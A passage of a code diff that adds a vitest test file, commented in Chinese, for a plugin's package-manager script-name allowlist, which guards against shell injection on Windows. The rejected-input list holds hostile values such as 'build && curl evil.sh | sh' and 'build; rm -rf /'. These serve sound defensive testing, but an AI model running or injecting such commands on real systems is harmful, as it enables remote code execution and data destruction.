996
|
via: "pull",
|
|
744
997
|
version,
|
|
745
|
-
needsDependencies,
|
|
746
998
|
changed,
|
|
747
999
|
// 就地拉取过一次,说明目录确实是 git 仓库,此后照旧走这条路
|
|
748
1000
|
updatable: "pull",
|
|
749
|
-
...(before === undefined ? {} : { fromVersion: before })
|
|
1001
|
+
...(before === undefined ? {} : { fromVersion: before }),
|
|
1002
|
+
...done
|
|
750
1003
|
}
|
|
751
1004
|
}
|
|
752
1005
|
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* 模块职责:包管理器动作的 script 名白名单与实参译法测试
|
|
3
|
+
* 依赖方向:测试文件,依赖 plugin/pm
|
|
4
|
+
* 生命周期:无状态,无临时目录
|
|
5
|
+
* 注意事项:**这里钉的是一道安全边界。** `runPm` 在 Windows 上必须带 shell 执行(pnpm/npm
|
|
6
|
+
* 是 `.cmd`,node 在 CVE-2024-27980 之后拒绝不经 shell 起它们),而带了 shell
|
|
7
|
+
* 之后参数就是被解释的字符串 —— 索引里一个 `build && curl … | sh` 就是任意命令
|
|
8
|
+
* 执行。唯一的可变部分是 script 名,故白名单的每一类拒绝都要有用例。
|
|
9
|
+
*
|
|
10
|
+
* **不起真实子进程。** 起了就得在开发机上装 pnpm、联网、并等上几分钟,而那验的是
|
|
11
|
+
* pnpm 自己而非本模块。本模块要负责的只有「下发了什么」。
|
|
12
|
+
*/
|
|
13
|
+
import { describe, expect, it } from "vitest"
|
|
14
|
+
import { INSTALL_TIMEOUT_MS, PACKAGE_MANAGERS, SCRIPT_TIMEOUT_MS, assertScriptName, isScriptName } from "./pm.js"
|
|
15
|
+
|
|
16
|
+
describe("isScriptName", () => {
|
|
17
|
+
it("接受常规 script 名,含冒号分段", () => {
|
|
18
|
+
for (const good of ["build", "install:browser", "test", "build2", "a", "lint-fix", "check.all", "a_b"]) {
|
|
19
|
+
expect(isScriptName(good), good).toBe(true)
|
|
20
|
+
}
|
|
21
|
+
})
|
|
22
|
+
|
|
23
|
+
it("拒绝一切 shell 元字符 —— 这一条即那道边界本身", () => {
|
|
24
|
+
/*
|
|
25
|
+
* 逐类都要有:命令分隔(`;` `&&` `|`)、命令替换(`$()` 反引号)、重定向(`>`)、
|
|
26
|
+
* 换行、以及空格 —— 带 shell 执行时它们各自都足以在后面接上第二条命令。
|
|
27
|
+
*/
|
|
28
|
+
for (const bad of [
|
|
29
|
+
"build && curl evil.sh | sh",
|
|
30
|
+
"build; rm -rf /",
|
|
31
|
+
"build|tee x",
|
|
32
|
+
"build $(whoami)",
|
|
33
|
+
"build `whoami`",
|
|
34
|
+
"build > out.txt",
|
|
35
|
+
"build\nrm x",
|
|
36
|
+
"build x",
|
|
37
|
+
"--version",
|
|
38
|
+
"-x",
|
|
39
|
+
"",
|
|
40
|
+
" ",
|
|
41
|
+
":build",
|
|
42
|
+
"build/../../x",
|
|
43
|
+
"build\\x",
|
|
44
|
+
'build"x',
|
|
45
|
+
"build'x"
|
|
46
|
+
]) {
|
|
47
|
+
expect(isScriptName(bad), bad).toBe(false)
|
|
48
|
+
}
|
|
49
|
+
})
|
|
50
|
+
})
|
|
51
|
+
|
|
52
|
+
describe("assertScriptName", () => {
|
|
53
|
+
it("合法时原样返回,不合法时抛错且话里带上那个名字", () => {
|
|
54
|
+
expect(assertScriptName("install:browser")).toBe("install:browser")
|
|
55
|
+
// 错误信息要带上原名:索引写错时,看到是哪个名字被拒才找得到该改哪一行
|
|
56
|
+
expect(() => assertScriptName("build && x")).toThrow("build && x")
|
|
57
|
+
})
|
|
58
|
+
})
|
|
59
|
+
|
|
60
|
+
describe("常量", () => {
|
|
61
|
+
it("pnpm 在 npm 之前 —— 本项目各插件的 lock 文件都是 pnpm 的", () => {
|
|
62
|
+
expect(PACKAGE_MANAGERS).toEqual(["pnpm", "npm"])
|
|
63
|
+
})
|
|
64
|
+
|
|
65
|
+
it("两个超时都远长于任何网络请求", () => {
|
|
66
|
+
/*
|
|
67
|
+
* 装依赖的超时短了,后果是留下一个装了一半的 `node_modules` —— 那比等下去更难收拾。
|
|
68
|
+
* 跑 script 同理:`install:browser` 拉的是上百兆的 Chromium。
|
|
69
|
+
*/
|
|
70
|
+
expect(INSTALL_TIMEOUT_MS).toBeGreaterThanOrEqual(10 * 60 * 1000)
|
|
71
|
+
expect(SCRIPT_TIMEOUT_MS).toBeGreaterThanOrEqual(10 * 60 * 1000)
|
|
72
|
+
})
|
|
73
|
+
})
|